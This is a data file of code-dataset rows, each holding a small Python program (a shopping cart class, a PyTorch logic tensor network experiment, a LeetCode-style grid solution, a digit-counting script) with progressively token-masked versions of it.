index
int64
0
10k
blob_id
stringlengths
40
40
code
stringlengths
13
1.2M
steps
listlengths
1
578
error
bool
2 classes
9,900
58efaad41d02bb5dffbf71c478c7fad12af68e5b
# 自定义购物车项类 class CartItem(): def __init__(self, book, amount): self.book = book self.amount = int(amount) # 自定义购物车 class Cart(): def __init__(self): self.book_list = [] self.total = 0 self.save = 0 def total_price(self): ele = 0 for i in self.book_list: ele += i.book.book_dprice*i.amount self.total = round(ele,2) return self def save_money(self): befor_save = 0 for i in self.book_list: befor_save += i.book.book_price*i.amount self.save = round(befor_save - self.total,2) print("节省",self.save) return self # 定义添加购物车 def add_books(self, book, amount): # 判断图书已经在购物车项列表中 print("加入中") for i in self.book_list: if i.book == book: i.amount += int(amount) return self self.book_list.append(CartItem(book, int(amount))) print("加完了",self.book_list) return self def del_books(self, book): print("删除中") for i in self.book_list: if i.book == book: self.book_list.remove(i) print("删完了", self.book_list) return self
[ "# 自定义购物车项类\nclass CartItem():\n def __init__(self, book, amount):\n self.book = book\n self.amount = int(amount)\n\n# 自定义购物车\nclass Cart():\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice*i.amount\n self.total = round(ele,2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price*i.amount\n self.save = round(befor_save - self.total,2)\n print(\"节省\",self.save)\n return self\n # 定义添加购物车\n def add_books(self, book, amount):\n # 判断图书已经在购物车项列表中\n print(\"加入中\")\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print(\"加完了\",self.book_list)\n return self\n\n def del_books(self, book):\n print(\"删除中\")\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print(\"删完了\", self.book_list)\n return self", "class CartItem:\n\n def __init__(self, book, amount):\n self.book = book\n self.amount = int(amount)\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price * i.amount\n self.save = round(befor_save - self.total, 2)\n print('节省', self.save)\n return self\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n", "class CartItem:\n <function token>\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price * i.amount\n self.save = round(befor_save - self.total, 2)\n print('节省', self.save)\n return self\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n", "<class token>\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n\n def save_money(self):\n befor_save = 0\n for i in self.book_list:\n befor_save += i.book.book_price * i.amount\n self.save = round(befor_save - self.total, 2)\n print('节省', self.save)\n return self\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n", "<class token>\n\n\nclass Cart:\n\n def __init__(self):\n self.book_list = []\n self.total = 0\n self.save = 0\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n", "<class token>\n\n\nclass Cart:\n <function token>\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n\n def add_books(self, book, amount):\n print('加入中')\n for i in self.book_list:\n if i.book == book:\n i.amount += int(amount)\n return self\n self.book_list.append(CartItem(book, int(amount)))\n print('加完了', self.book_list)\n return self\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n", "<class token>\n\n\nclass Cart:\n <function token>\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n <function token>\n\n def del_books(self, book):\n print('删除中')\n for i in self.book_list:\n if i.book == book:\n self.book_list.remove(i)\n print('删完了', self.book_list)\n return self\n", "<class token>\n\n\nclass Cart:\n <function token>\n\n def total_price(self):\n ele = 0\n for i in self.book_list:\n ele += i.book.book_dprice * i.amount\n self.total = round(ele, 2)\n return self\n <function token>\n <function token>\n <function token>\n", "<class token>\n\n\nclass Cart:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<class token>\n<class token>\n" ]
false
9,901
3022cade3bfa36925bcbda8023e5cd98ed33d093
# coding: utf-8 # In[1]: #coding:utf8 import matplotlib import os if 'DISPLAY' not in os.environ: matplotlib.use('Agg') else: pass import torch import torch.nn as nn from torch.autograd import Variable import torch.optim as optim from matplotlib import pyplot as plt import seaborn as sns from tqdm import tqdm import copy from utils import Predicate,Clause,KnowledgeBase, Propositional from utils import load_knowledge_base,load_propositional from models import LTN import pickle import numpy as np import seaborn as sns sns.set(style="white", context="talk") # In[2]: def get_accuracy(model,kb): results=[] for clause in kb.clauses: o1,o2=model.forward(clause) if o2.data.numpy()[0][0]>0.9: results.append(1.0) else: results.append(0.0) return sum(results)/len(kb.clauses) # In[3]: def test_model(model,kb1, kb2,filename): kb_train=kb1.union(kb2) optimizor=torch.optim.Adam(model.parameters(),lr=0.001) mone=torch.FloatTensor([-1]) one=torch.FloatTensor([1]) average_prob=[] averate_loss=[] best_accuracy1=0.0 best_accuracy2=0.0 for i in tqdm(range(1000)): optimizor.zero_grad() total_probability=0.0 total_loss=0.0 for clause in kb_train.clauses: loss,prob=model.forward(clause=clause) loss.backward(one) total_probability+=prob.data.numpy()[0] total_loss+=loss.data.numpy()[0] optimizor.step() average_prob.append(total_probability/len(kb_train.clauses)) averate_loss.append(total_loss/len(kb_train.clauses)) accuracy1=get_accuracy(model,kb1) accuracy2=get_accuracy(model,kb2) if accuracy1+accuracy2>best_accuracy1+best_accuracy2: best_accuracy1=accuracy1 best_accuracy2=accuracy2 pickle.dump((average_prob,averate_loss,best_accuracy1,best_accuracy2), open("./results/%s"%filename, "wb" )) # In[4]: kb1=load_knowledge_base('./facts1.txt') kb2=load_knowledge_base('./facts2.txt') propositionals=load_propositional('./knowledge.txt') gkbs1=[] for p in propositionals: gkbs1.append(p.generate_knowledge_base('abcdefgh',change_weight=False)) gkb1=gkbs1[0] for tkb in gkbs1[1:]: gkb1=gkb1.union(tkb) gkbs2=[] for p in propositionals: gkbs2.append(p.generate_knowledge_base('ijklmn',change_weight=False)) gkb2=gkbs2[0] for tkb in gkbs2[1:]: gkb2=gkb2.union(tkb) gkbs3=[] for p in propositionals: gkbs3.append(p.generate_knowledge_base('abcdefgh',change_weight=True)) gkb3=gkbs3[0] for tkb in gkbs3[1:]: gkb3=gkb3.union(tkb) gkbs4=[] for p in propositionals: gkbs4.append(p.generate_knowledge_base('ijklmn',change_weight=True)) gkb4=gkbs4[0] for tkb in gkbs4[1:]: gkb4=gkb4.union(tkb) # In[5]: emb_dim=50 # In[6]: emb_dim_range=list(range(10,20,5))+list(range(20,101,20)) emb_dim_range=list(range(160,161,20)) # In[ ]: for emb_dim in emb_dim_range: test_model( model=LTN(emb_dim,'abcdefghijklmn',[['S',1],['F',2],['C',1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4), filename='LTN_Learn_emb_dim=%d.pkl'%(emb_dim) ) # In[80]: accuracys1=[] accuracys2=[] for emb_dim in emb_dim_range: prob,loss,first,second=pickle.load(open('./results/LTN_Learn_emb_dim=%d.pkl'%(emb_dim),'rb')) accuracys1.append(first) accuracys2.append(second) plt.plot(emb_dim_range,accuracys1,label='Group1') plt.plot(emb_dim_range,accuracys2,label='Group2') plt.legend() plt.xlabel('Vector Length') plt.ylabel('Accuracy') plt.savefig('./Report/img/curve4.pdf') plt.show()
[ "\n# coding: utf-8\n\n# In[1]:\n\n\n#coding:utf8\nimport matplotlib\nimport os\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom tqdm import tqdm\nimport copy\nfrom utils import Predicate,Clause,KnowledgeBase, Propositional\nfrom utils import load_knowledge_base,load_propositional\nfrom models import LTN\nimport pickle\nimport numpy as np\nimport seaborn as sns\nsns.set(style=\"white\", context=\"talk\")\n\n\n# In[2]:\n\n\ndef get_accuracy(model,kb):\n results=[]\n for clause in kb.clauses:\n o1,o2=model.forward(clause)\n if o2.data.numpy()[0][0]>0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n\n return sum(results)/len(kb.clauses)\n\n\n# In[3]:\n\n\ndef test_model(model,kb1, kb2,filename):\n kb_train=kb1.union(kb2)\n optimizor=torch.optim.Adam(model.parameters(),lr=0.001)\n mone=torch.FloatTensor([-1])\n one=torch.FloatTensor([1])\n average_prob=[]\n averate_loss=[]\n best_accuracy1=0.0\n best_accuracy2=0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability=0.0\n total_loss=0.0\n for clause in kb_train.clauses:\n loss,prob=model.forward(clause=clause)\n loss.backward(one)\n total_probability+=prob.data.numpy()[0]\n total_loss+=loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability/len(kb_train.clauses))\n averate_loss.append(total_loss/len(kb_train.clauses))\n accuracy1=get_accuracy(model,kb1)\n accuracy2=get_accuracy(model,kb2)\n if accuracy1+accuracy2>best_accuracy1+best_accuracy2:\n best_accuracy1=accuracy1\n best_accuracy2=accuracy2\n pickle.dump((average_prob,averate_loss,best_accuracy1,best_accuracy2), open(\"./results/%s\"%filename, \"wb\" ))\n\n\n# In[4]:\n\n\nkb1=load_knowledge_base('./facts1.txt')\nkb2=load_knowledge_base('./facts2.txt')\npropositionals=load_propositional('./knowledge.txt')\ngkbs1=[]\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh',change_weight=False))\ngkb1=gkbs1[0]\nfor tkb in gkbs1[1:]:\n gkb1=gkb1.union(tkb)\ngkbs2=[]\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn',change_weight=False))\ngkb2=gkbs2[0]\nfor tkb in gkbs2[1:]:\n gkb2=gkb2.union(tkb)\n\ngkbs3=[]\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh',change_weight=True))\ngkb3=gkbs3[0]\nfor tkb in gkbs3[1:]:\n gkb3=gkb3.union(tkb)\ngkbs4=[]\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn',change_weight=True))\ngkb4=gkbs4[0]\nfor tkb in gkbs4[1:]:\n gkb4=gkb4.union(tkb)\n\n\n# In[5]:\n\n\nemb_dim=50\n\n\n# In[6]:\n\n\nemb_dim_range=list(range(10,20,5))+list(range(20,101,20))\nemb_dim_range=list(range(160,161,20))\n\n\n# In[ ]:\n\n\nfor emb_dim in emb_dim_range:\n test_model(\n model=LTN(emb_dim,'abcdefghijklmn',[['S',1],['F',2],['C',1]], CLTN=True),\n kb1=kb1.union(gkb3),\n kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl'%(emb_dim)\n )\n\n\n# In[80]:\n\n\naccuracys1=[]\naccuracys2=[]\nfor emb_dim in emb_dim_range:\n prob,loss,first,second=pickle.load(open('./results/LTN_Learn_emb_dim=%d.pkl'%(emb_dim),'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range,accuracys1,label='Group1')\nplt.plot(emb_dim_range,accuracys2,label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n\n", "import matplotlib\nimport os\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\nfrom tqdm import tqdm\nimport copy\nfrom utils import Predicate, Clause, KnowledgeBase, Propositional\nfrom utils import load_knowledge_base, load_propositional\nfrom models import LTN\nimport pickle\nimport numpy as np\nimport seaborn as sns\nsns.set(style='white', context='talk')\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\nkb1 = load_knowledge_base('./facts1.txt')\nkb2 = load_knowledge_base('./facts2.txt')\npropositionals = load_propositional('./knowledge.txt')\ngkbs1 = []\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))\ngkb1 = gkbs1[0]\nfor tkb in gkbs1[1:]:\n gkb1 = gkb1.union(tkb)\ngkbs2 = []\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))\ngkb2 = gkbs2[0]\nfor tkb in gkbs2[1:]:\n gkb2 = gkb2.union(tkb)\ngkbs3 = []\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))\ngkb3 = gkbs3[0]\nfor tkb in gkbs3[1:]:\n gkb3 = gkb3.union(tkb)\ngkbs4 = []\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))\ngkb4 = gkbs4[0]\nfor tkb in gkbs4[1:]:\n gkb4 = gkb4.union(tkb)\nemb_dim = 50\nemb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20))\nemb_dim_range = list(range(160, 161, 20))\nfor emb_dim in emb_dim_range:\n test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [\n 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)\naccuracys1 = []\naccuracys2 = []\nfor emb_dim in emb_dim_range:\n prob, loss, first, second = pickle.load(open(\n './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range, accuracys1, label='Group1')\nplt.plot(emb_dim_range, accuracys2, label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n", "<import token>\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\n<import token>\nsns.set(style='white', context='talk')\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\nkb1 = load_knowledge_base('./facts1.txt')\nkb2 = load_knowledge_base('./facts2.txt')\npropositionals = load_propositional('./knowledge.txt')\ngkbs1 = []\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))\ngkb1 = gkbs1[0]\nfor tkb in gkbs1[1:]:\n gkb1 = gkb1.union(tkb)\ngkbs2 = []\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))\ngkb2 = gkbs2[0]\nfor tkb in gkbs2[1:]:\n gkb2 = gkb2.union(tkb)\ngkbs3 = []\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))\ngkb3 = gkbs3[0]\nfor tkb in gkbs3[1:]:\n gkb3 = gkb3.union(tkb)\ngkbs4 = []\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))\ngkb4 = gkbs4[0]\nfor tkb in gkbs4[1:]:\n gkb4 = gkb4.union(tkb)\nemb_dim = 50\nemb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20))\nemb_dim_range = list(range(160, 161, 20))\nfor emb_dim in emb_dim_range:\n test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [\n 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)\naccuracys1 = []\naccuracys2 = []\nfor emb_dim in emb_dim_range:\n prob, loss, first, second = pickle.load(open(\n './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range, accuracys1, label='Group1')\nplt.plot(emb_dim_range, accuracys2, label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n", "<import token>\nif 'DISPLAY' not in os.environ:\n matplotlib.use('Agg')\nelse:\n pass\n<import token>\nsns.set(style='white', context='talk')\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\n<assignment token>\nfor p in propositionals:\n gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False))\n<assignment token>\nfor tkb in gkbs1[1:]:\n gkb1 = gkb1.union(tkb)\n<assignment token>\nfor p in propositionals:\n gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False))\n<assignment token>\nfor tkb in gkbs2[1:]:\n gkb2 = gkb2.union(tkb)\n<assignment token>\nfor p in propositionals:\n gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True))\n<assignment token>\nfor tkb in gkbs3[1:]:\n gkb3 = gkb3.union(tkb)\n<assignment token>\nfor p in propositionals:\n gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True))\n<assignment token>\nfor tkb in gkbs4[1:]:\n gkb4 = gkb4.union(tkb)\n<assignment token>\nfor emb_dim in emb_dim_range:\n test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [\n 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4),\n filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim)\n<assignment token>\nfor emb_dim in emb_dim_range:\n prob, loss, first, second = pickle.load(open(\n './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb'))\n accuracys1.append(first)\n accuracys2.append(second)\nplt.plot(emb_dim_range, accuracys1, label='Group1')\nplt.plot(emb_dim_range, accuracys2, label='Group2')\nplt.legend()\nplt.xlabel('Vector Length')\nplt.ylabel('Accuracy')\nplt.savefig('./Report/img/curve4.pdf')\nplt.show()\n", "<import token>\n<code token>\n<import token>\n<code token>\n\n\ndef get_accuracy(model, kb):\n results = []\n for clause in kb.clauses:\n o1, o2 = model.forward(clause)\n if o2.data.numpy()[0][0] > 0.9:\n results.append(1.0)\n else:\n results.append(0.0)\n return sum(results) / len(kb.clauses)\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<code token>\n<import token>\n<code token>\n<function token>\n\n\ndef test_model(model, kb1, kb2, filename):\n kb_train = kb1.union(kb2)\n optimizor = torch.optim.Adam(model.parameters(), lr=0.001)\n mone = torch.FloatTensor([-1])\n one = torch.FloatTensor([1])\n average_prob = []\n averate_loss = []\n best_accuracy1 = 0.0\n best_accuracy2 = 0.0\n for i in tqdm(range(1000)):\n optimizor.zero_grad()\n total_probability = 0.0\n total_loss = 0.0\n for clause in kb_train.clauses:\n loss, prob = model.forward(clause=clause)\n loss.backward(one)\n total_probability += prob.data.numpy()[0]\n total_loss += loss.data.numpy()[0]\n optimizor.step()\n average_prob.append(total_probability / len(kb_train.clauses))\n averate_loss.append(total_loss / len(kb_train.clauses))\n accuracy1 = get_accuracy(model, kb1)\n accuracy2 = get_accuracy(model, kb2)\n if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2:\n best_accuracy1 = accuracy1\n best_accuracy2 = accuracy2\n pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2\n ), open('./results/%s' % filename, 'wb'))\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<code token>\n<import token>\n<code token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,902
148b849ae43617dde8dbb0c949defa2f390ce5cd
class Solution(object): def oddCells(self, m, n, indices): """ :type m: int :type n: int :type indices: List[List[int]] :rtype: int """ indice_x_dict = {} indice_y_dict = {} for x, y in indices: indice_x_dict[x] = indice_x_dict.get(x, 0) + 1 indice_y_dict[y] = indice_y_dict.get(y, 0) + 1 x_num = 0 y_num = 0 for key, item in indice_x_dict.items(): if item % 2 == 1: x_num += 1 for key, item in indice_y_dict.items(): if item % 2 == 1: y_num += 1 return x_num * n + y_num * m - x_num * y_num * 2
[ "class Solution(object):\n def oddCells(self, m, n, indices):\n \"\"\"\n :type m: int\n :type n: int\n :type indices: List[List[int]]\n :rtype: int\n \"\"\"\n indice_x_dict = {}\n indice_y_dict = {}\n for x, y in indices:\n indice_x_dict[x] = indice_x_dict.get(x, 0) + 1\n indice_y_dict[y] = indice_y_dict.get(y, 0) + 1\n x_num = 0\n y_num = 0\n for key, item in indice_x_dict.items():\n if item % 2 == 1:\n x_num += 1\n for key, item in indice_y_dict.items():\n if item % 2 == 1:\n y_num += 1\n return x_num * n + y_num * m - x_num * y_num * 2\n\n\n", "class Solution(object):\n\n def oddCells(self, m, n, indices):\n \"\"\"\n :type m: int\n :type n: int\n :type indices: List[List[int]]\n :rtype: int\n \"\"\"\n indice_x_dict = {}\n indice_y_dict = {}\n for x, y in indices:\n indice_x_dict[x] = indice_x_dict.get(x, 0) + 1\n indice_y_dict[y] = indice_y_dict.get(y, 0) + 1\n x_num = 0\n y_num = 0\n for key, item in indice_x_dict.items():\n if item % 2 == 1:\n x_num += 1\n for key, item in indice_y_dict.items():\n if item % 2 == 1:\n y_num += 1\n return x_num * n + y_num * m - x_num * y_num * 2\n", "class Solution(object):\n <function token>\n", "<class token>\n" ]
false
9,903
dabd835ff02f2adb01773fb7dd7099206cbae162
N=int(input()) S=input() ans=0 for i in range(1000): l=str(i).zfill(3);k=0 for j in range(N): if S[j]==l[k]: k+=1 if k==3:ans+=1;break print(ans)
[ "N=int(input())\nS=input()\nans=0\nfor i in range(1000):\n l=str(i).zfill(3);k=0\n for j in range(N):\n if S[j]==l[k]:\n k+=1\n if k==3:ans+=1;break\nprint(ans)\n", "N = int(input())\nS = input()\nans = 0\nfor i in range(1000):\n l = str(i).zfill(3)\n k = 0\n for j in range(N):\n if S[j] == l[k]:\n k += 1\n if k == 3:\n ans += 1\n break\nprint(ans)\n", "<assignment token>\nfor i in range(1000):\n l = str(i).zfill(3)\n k = 0\n for j in range(N):\n if S[j] == l[k]:\n k += 1\n if k == 3:\n ans += 1\n break\nprint(ans)\n", "<assignment token>\n<code token>\n" ]
false
9,904
aa1a7de92b971b6d10d09b2f8ca2c55516e538e4
